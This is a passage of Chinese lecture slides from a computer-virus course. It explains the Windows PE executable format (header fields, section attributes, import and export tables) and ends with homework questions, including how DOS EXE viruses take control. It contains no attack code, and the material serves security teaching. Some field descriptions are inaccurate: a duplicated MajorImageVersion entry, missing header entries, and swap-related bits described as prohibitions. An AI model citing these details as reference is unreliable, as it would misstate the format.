文件属性:Bit 0 (IMAGE_FILE_RELOCS_STRIPPED) :置 1 表示文件中没有重定向信息。Bit 1 (IMAGE_FILE_EXECUTABLE_IMAGE) :置 1 表示该文件是可执行文件Bit 2 (IMAGE_FILE_LINE_NUMS_STRIPPED) :置 1 表示没有行数信息;Bit 3 (IMAGE_FILE_LOCAL_SYMS_STRIPPED) :置 1 表示没有局部符号信息;Bit 4 (IMAGE_FILE_AGGRESIVE_WS_TRIM) : Bit 7 (IMAGE_FILE_BYTES_REVERSED_LO) Bit 15 (IMAGE_FILE_BYTES_REVERSED_HI) :Bit 8 (IMAGE_FILE_32BIT_MACHINE) :表示希望机器为 32位机。 =1Bit 9 (IMAGE_FILE_DEBUG_STRIPPED) :表示没有调试信息Bit 10 (IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP) :置 1 表示该程序不能运行于可移动介质中(如软驱或 CD-ROM )。Bit 11 (IMAGE_FILE_NET_RUN_FROM_SWAP) :置 1 表示程序不能在网上运行。在这种情况下, OS必须把文件拷贝到交换文件中执行。 Bit 12 (IMAGE_FILE_SYSTEM) :置 1 表示文件是一个系统文件例如驱动程序。在可执行文件中没有使用。 Bit 13 (IMAGE_FILE_DLL) :置 1 表示文件是一个动态链接库( DLL )。 Bit 14 (IMAGE_FILE_UP_SYSTEM_ONLY) :表示文件被设计成不能运行于多处理器系统中。  

Page 75: 计算机病毒 Computer Virus

75

可选映像头 顺序 偏移 名字 大小(字节) 描述1 (00H) Magic 2 幻数,一般是 010BH

2 (02H) MajorLinkerVersion 1 连接程序的主版本号3 (03H) MinorLinkerVersion 1 连接程序的次版本号4 (04H) SizeOfCode 4 代码段的总尺寸5 (08H) SizeOfInitializedData 4 已初始化的数据总尺寸6 (0CH) SizeOfUninitalizedData 4 未初始化的数据总尺寸7 (10H) AddressOfEntryPoint 4 开始执行位置8 (14H) BaseOfCode 4 代码节开始的位置9 (18H) BaseOfData 4 数据节开始的位置10 (1CH) ImageBase 4 可执行文件的默认装入的内存地址11 (20H) SectionAlignment 4 可执行文件装入内存时节的对齐数字12 (24H) FileAlignment 4 文件中节的对齐数字,一般是一个扇区长( 512字节)13 (28H) MajorOperationSystemVersion 2 要求最低操作系统版本好的主版本号14 (2aH) MinorOperationSystemVersion 2 要求最低操作系统版本好的次版本号15 (2CH) MajorImageVersion 2 可执行文件主版本号16 (2EH) MajorImageVersion 2 可执行文件次版本号

Page 76: 计算机病毒 Computer Virus

76

20 (38H) SizeOfImage 4 装入内存后映像的总尺寸21 (3CH) SizeOfHeaders 4 NT 映像头 + 节表的大小22 (40H) CheckSum 4 检验和23 (44H) Subsystem 2 可执行文件的子系统。如 GUI子系统24 (46H) DllCharacteristics 2 何时 DllMain被调用,一般为 025 (48H) SizeOfStackReserve 4 初始化线程时保留的堆栈大小26 (4CH) SizeOfStackCommit 4 初始化线程时提交的堆栈大小27 (50H) SizeOfHeapReserve 4 进程初始化时保留的堆大小28 (54H) SizeOfHeapCommit 4 进程初始化时提交的堆大小29 (58H) LoaderFlags 4 此项与调试有关30 (5CH) NumberRvaAndSize 4 数据目录的项数,一般是 1631 (60H) DataDirectory[] 128 数据目录

Page 77: 计算机病毒 Computer Virus

77

Page 78: 计算机病毒 Computer Virus

78

Page 79: 计算机病毒 Computer Virus

79

节表节包含了文件的内容,包括代码、数据、资源以及其它可执行信息,每个段都有一个头部和一个实体(原始数据)。

Page 80: 计算机病毒 Computer Virus

80

#define IMAGE_SIZEOF_SHORT_NAME 8typedef struct _IMAGE_SECTION_HEADER {UCHAR Name[IMAGE_SIZEOF_SHORT_NAME]; union { ULONG PhysicalAddress;// 在 EXE 中,它保存的实际尺寸 ULONG VirtualSize; } Misc; ULONG VirtualAddress; // 本节的相对虚拟地址 ULONG SizeOfRawData; // 本节的经过文件对齐后的尺寸 ULONG PointerToRawData; ULONG PointerToRelocations; ULONG PointerToLinenumbers; USHORT NumberOfRelocations; USHORT NumberOfLinenumbers; ULONG Characteristics; // 节属性 } IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

Page 81: 计算机病毒 Computer Virus

81

Characteristics-节属性0x00000020? 这个块包含代码。置位0x00000040? 这个块包含已初始化的数据。0x00000080? 这个块包含未初始化的数据(如 .bss 块)0x00000200? 这个块包含注释或其它的信息。编译器产生的 .drectve 块。0x00000800? 这个块的内容不应放进最终的 EXE 文件中。0x02000000? 这个块可以被丢弃,因为一旦它被载入,其进程就不需要它。最通常的可丢弃块是基本重定位块( .reloc )。0x10000000? 这个块是可共享的。和 DLL 一起使用时,这个块的数据可以在使用这个 DLL 的进程之间共享。在连接时用 SHARE属性。如: LINK /SECTION:MYDATA,RWS ...告诉连接器叫做 "MYDATA"的块是可读的,可写的,共享的。0x20000000? 这个块是可执行的。这个标志通常在 "包含代码 "标志( 0x00000020 )被置位时置位。0x40000000? 这个块是可读的。在 EXE 文件中,这个域总被置位。0x80000000? 这个块是可写的。如果在一个 EXE 块中这个块未被置位,载入器会把这块的内存映射页面标为只读或 "只执行 "。 有此属性的典型的块是 .data 和 .bss ,.idata 块也有这个属性。

Page 82: 计算机病毒 Computer Virus

82

节典型地拥有9个预定义节,它们是 .text 、 .bss 、 .rdata 、 .data 、 .rsrc 、 .edata 、 .idata 、 .pdata 和 .debug 1 、可执行代码段, .text , .text段也包含了早先提到过的入口点。 IAT亦存在于 .text段之中的模块入口点之前。 .text 位于所有节的首部。2 、数据段, .bss 、 .rdata 、 .data   .bss段表示应用程序的未初始化数据,包括所有函数或源模块中声明为 static 的变量。   .rdata段表示只读的数据,比如字符串量、常量和调试目录信息。  变量基本上是应用程序或模块的全局变量。

Page 83: 计算机病毒 Computer Virus

83

节3 、资源段, .rsrc   .rsrc段包含了模块的资源信息。它起始于一个资源目录结构,这个结构就像其它大多数结构一样,但是它的数据被更进一步地组织在了一棵资源树之中。以下的 IMAGE_RESOURCE_DIRECTORY结构形成了这棵树的根和各个结点。4 、 .edata 、 .idata :输出表和输入表。

Page 84: 计算机病毒 Computer Virus

84

Page 85: 计算机病毒 Computer Virus

85

Page 86: 计算机病毒 Computer Virus

86

Page 87: 计算机病毒 Computer Virus

87

Page 88: 计算机病毒 Computer Virus

88

Import Table输入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数代码位于相关的 DLL文件中,在调用者程序中必须保留相关函数信息,如函数名、 DLL 文件名。对于磁盘 Pe 文件来说,他无法知道这些函数在内存中的地址。只有当 Pe 文件被装入内存时, windows PE装载器才将相关的 DLL装入,并将输入函数的指令和函数实际所处的地址联系,即动态链接。动态链接由 IT完成。

Page 89: 计算机病毒 Computer Virus

89

Import Directory TableOffset Size Field Description

4 Import Lookup Table RVA (Characteristics)

Relative virtual address of the Import Lookup Table; this table contains a name or ordinal for each import. (The name “Characteristics” is used in WINNT.H but is no longer descriptive of this field.)

4 4 Time/Date Stamp Set to zero until bound; then this field is set to the time/data stamp of the DLL.

8 4 Fowarder Chain Index of first forwarder reference.

12 4 Name RVA Address of ASCII string containing the DLL name. This address is relative to the image base.

16 4 Import Address Table RVA (Thunk Table)

Relative virtual address of the Import Address Table: this table is identical in contents to the Import Lookup Table until the image is bound.

Page 90: 计算机病毒 Computer Virus

90

Page 91: 计算机病毒 Computer Virus

91

Import Address Table

Page 92: 计算机病毒 Computer Virus

92

Import Name Table

Page 93: 计算机病毒 Computer Virus

93

Import Hints/Names DLL/names

Page 94: 计算机病毒 Computer Virus

94

加载前IMAGE_IMPORT_DESCRIPTOR IMAGE_IMPORT_BY_NAME

Original First Thunk TimeDatestamp ForwardChain Name FirstThunk

IMAGE_THUNK_DATA IMAGE_THUNK_DATA ……

01 函数 1 23 函数 2 ……

IMAGE_THUNK_DATA IMAGE_THUNK_DATA ……

KERNEL32.DLL

Page 95: 计算机病毒 Computer Virus

95

加载后IMAGE_IMPORT_DESCRIPTOR IMAGE_IMPORT_BY_NAME

Original First Thunk TimeDatestamp ForwardChain Name FirstThunk

IMAGE_THUNK_DATA IMAGE_THUNK_DATA ……

01 函数 1 23 函数 2 ……

IMAGE_THUNK_DATA IMAGE_THUNK_DATA ……

KERNEL32.DLL 函数 1地址 函数 2地址 ……

Page 96: 计算机病毒 Computer Virus

96

引出函数节 引出函数节一般名为 .edata ,这是本文件向其它程序提供调用的函数列表。这个节一般用在 DLL 中, EXE 文件也可以有这个节,但通常很少使用。 使用名字数组 / 地址数组 /索引数组。

Page 97: 计算机病毒 Computer Virus

97

引出函数节1 (00H) Characteristics 4 一般为 0 2 (04H) TimeDateStamp 4 文件生成时间 3 (08H) MajorVersion 2 主版本号 4 (0AH) MinorVersion 2 次版本号 5 (0CH) Name 4 指向 DLL的名字 6 (10H) Base 4 开始的序列号 7 (14H) NumberOfFunctions 4 AddressOfFunctions数组的项数 8 (18H) NumberOfNames 4 AddressOfNames数组的项数 9 (1CH) AddressOfFunctions 4 指向函数地址数组 10 (20H) AddressOfNames 4 函数名字的指针的地址 11 (24H) AddressOfNameOrdinals 4 指向输入序列号数组

Page 98: 计算机病毒 Computer Virus

98

Kernel32.dll-export dir

Page 99: 计算机病毒 Computer Virus

99

Kernel32.dll-export address table

Page 100: 计算机病毒 Computer Virus

100

Kernel32.dll-export ordinal

Page 101: 计算机病毒 Computer Virus

101

Kernel32.dll-export Name pointer

Page 102: 计算机病毒 Computer Virus

102

Kernel32.dll-export Name

Page 103: 计算机病毒 Computer Virus

103

作业1.     硬盘主引导区由哪几个部分构成? fdisk/mbr命令会重写整个主引导扇区吗?2.     在硬盘上删除一个文件,并将其手工恢复。3.     查看 MSDN ,对本章所描述的几个内存 API函数做详细了解,并写出相应的测试例子程序。4.     DOS 下的 EXE 文件病毒如何获得控制权?5.   如何从 user32.dll 中获得 MessageBoxA 的函数地址?实现一个小工具。